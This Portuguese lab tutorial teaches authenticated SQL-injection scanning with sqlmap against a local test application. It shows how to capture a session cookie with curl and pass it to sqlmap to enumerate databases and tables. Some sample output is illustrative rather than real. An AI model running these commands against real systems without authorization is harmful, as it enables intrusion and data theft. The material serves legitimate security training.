Gerir Análises Autenticadas com Cookies no sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

No teste de penetração de aplicações web, muitas vulnerabilidades existem em áreas que requerem autenticação do utilizador. Ferramentas como o sqlmap, uma poderosa ferramenta de teste de penetração de código aberto que automatiza o processo de deteção e exploração de falhas de injeção SQL, precisam de uma forma de aceder a estas secções protegidas. Este laboratório irá guiá-lo através do processo de realização de scans autenticados utilizando cookies de sessão com o sqlmap. Aprenderá a extrair cookies de sessão de um navegador e a utilizá-los para instruir o sqlmap a manter uma sessão autenticada durante o scan. Esta técnica é crucial para avaliações de segurança abrangentes de aplicações web modernas.

Iniciar Sessão numa Aplicação Web Alvo

Nesta etapa, irá simular o início de sessão numa aplicação web alvo. Para efeitos deste laboratório, assumiremos que existe uma aplicação web a correr localmente que requer autenticação. Irá utilizar o curl para simular um pedido de início de sessão e obter um cookie de sessão. Num cenário do mundo real, normalmente iniciaria sessão através de um navegador web.

Primeiro, vamos simular um início de sessão bem-sucedido numa aplicação hipotética. Utilizaremos o curl para enviar um pedido POST com credenciais fictícias. A resposta do servidor incluirá um cabeçalho Set-Cookie se o início de sessão for bem-sucedido.

curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login

A opção -c cookiejar.txt indica ao curl para escrever quaisquer cookies recebidos num ficheiro chamado cookiejar.txt. Após a execução deste comando, um ficheiro chamado cookiejar.txt deverá ser criado no seu diretório atual (~/project).

Agora, vamos visualizar o conteúdo do ficheiro cookiejar.txt para ver o cookie de sessão.

cat cookiejar.txt

Deverá ver uma saída semelhante a esta, contendo a informação do cookie de sessão:

## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.

localhost	FALSE	/	FALSE	0	PHPSESSID	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

A parte importante aqui é o valor PHPSESSID (por exemplo, a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6). Este é o seu cookie de sessão.

Nesta etapa, aprenderá a extrair manualmente a string do cookie de sessão. Embora o curl a tenha guardado automaticamente em cookiejar.txt na etapa anterior, compreender como extraí-la manualmente é crucial para cenários do mundo real onde poderá iniciar sessão através de um navegador web.

A partir do ficheiro cookiejar.txt, precisa de identificar a string de cookie real. No nosso exemplo, é PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6.

Pode utilizar grep e awk para extrair apenas o valor do cookie do ficheiro cookiejar.txt.

grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'

Este comando irá produzir apenas a string do cookie, por exemplo:

PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Esta é a string que fornecerá ao sqlmap utilizando a flag --cookie. Copie esta string, pois precisará dela na próxima etapa.

Agora que extraiu o cookie de sessão, pode utilizá-lo com o sqlmap para realizar uma análise autenticada. A flag --cookie no sqlmap permite especificar o valor do cabeçalho do cookie HTTP.

Para este laboratório, assumiremos que existe uma página vulnerável em http://localhost:8080/authenticated_page.php?id=1. Esta página requer a presença do cookie PHPSESSID para acesso.

Substitua YOUR_COOKIE_STRING pela string de cookie real que extraiu na etapa anterior (por exemplo, PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6).

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1

Vamos analisar o comando sqlmap:

  • -u "http://localhost:8080/authenticated_page.php?id=1": Especifica o URL alvo.
  • --cookie="YOUR_COOKIE_STRING": Fornece o cookie de sessão ao sqlmap. Esta é a parte crucial para análises autenticadas.
  • --batch: Executa o sqlmap em modo não interativo, aceitando as escolhas padrão.
  • --forms: Indica ao sqlmap para analisar e testar formulários no URL alvo.
  • --level=1 --risk=1: Define o nível de deteção e o risco. Para um teste rápido, nível 1 e risco 1 são suficientes.

Execute o comando. O sqlmap começará a analisar o URL especificado, utilizando o cookie fornecido para manter a sessão autenticada.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)

[00:00:00] [INFO] starting @00:00:00

... (sqlmap output will vary based on target and findings) ...

[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX

A saída mostrará o progresso do sqlmap e quaisquer descobertas. Se a análise prosseguir sem erros relacionados com a autenticação, indica que o sqlmap utilizou o cookie com sucesso.

Executar uma Análise Contra uma Página que Requer Autenticação

Nesta etapa, iremos refinar o nosso comando sqlmap para ter como alvo específico uma página que se sabe requerer autenticação e que pode ser vulnerável. Utilizaremos uma saída ligeiramente mais detalhada para observar o comportamento do sqlmap.

Assumiremos que a authenticated_page.php é de facto vulnerável a injeção de SQL através do parâmetro id. Utilizaremos a flag --dbs para tentar enumerar bases de dados, que é um primeiro passo comum na exploração de injeção de SQL.

Novamente, substitua YOUR_COOKIE_STRING pelo seu cookie de sessão real.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1

A flag --dbs tenta enumerar os nomes das bases de dados. Se o sqlmap utilizar o cookie com sucesso, deverá ser capaz de aceder à página e prosseguir com a enumeração da base de dados.

Observe a saída. Se o sqlmap reportar a descoberta de bases de dados (por exemplo, information_schema, mysql, testdb), confirma que a análise autenticada foi bem-sucedida. Se reportar "no injectable parameters found" (nenhum parâmetro injetável encontrado) ou "page not accessible" (página não acessível), pode indicar um problema com o cookie ou com o URL alvo.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb

[00:00:XX] [INFO] closing @00:00:XX

A presença de nomes de bases de dados na saída confirma que o sqlmap conseguiu aceder à página autenticada e realizar o teste de injeção.

Confirmar que a Análise é Executada como um Utilizador Autenticado

Nesta etapa final, confirmaremos que o sqlmap está de facto a operar como um utilizador autenticado, observando o seu comportamento e potenciais descobertas. Um indicador chave é se o sqlmap consegue aceder e testar parâmetros em páginas que só são visíveis após o login.

Se o sqlmap enumerou com sucesso bases de dados na etapa anterior, é uma forte confirmação. Para solidificar ainda mais isto, pode tentar extrair dados de uma das bases de dados descobertas, por exemplo, testdb.

Substitua YOUR_COOKIE_STRING pelo seu cookie de sessão real.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1

Aqui, -D testdb especifica a base de dados alvo, e --tables tenta enumerar tabelas dentro dessa base de dados. Se o sqlmap conseguir listar tabelas de testdb, prova definitivamente que está a operar dentro do contexto autenticado.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users    |
+----------+

[00:00:XX] [INFO] closing @00:00:XX

A saída que mostra os nomes das tabelas (por exemplo, users, products) sob a base de dados testdb confirma que o sqlmap manteve com sucesso a sessão autenticada e foi capaz de realizar uma enumeração mais aprofundada dentro da área protegida da aplicação. Isto demonstra a eficácia da utilização de cookies para análises autenticadas.

Resumo

Neste laboratório, aprendeu com sucesso como realizar análises autenticadas usando sqlmap através da utilização de cookies de sessão. Começou por simular um login numa aplicação web e extrair o cookie de sessão. Em seguida, utilizou a flag --cookie no sqlmap para fornecer este cookie, permitindo que a ferramenta acedesse e analisasse páginas que requerem autenticação. Finalmente, confirmou o sucesso da análise autenticada observando a capacidade do sqlmap de enumerar bases de dados e tabelas dentro da área protegida da aplicação. Esta habilidade é fundamental para realizar avaliações de segurança abrangentes de aplicações web modernas, onde grande parte da funcionalidade reside atrás de um login.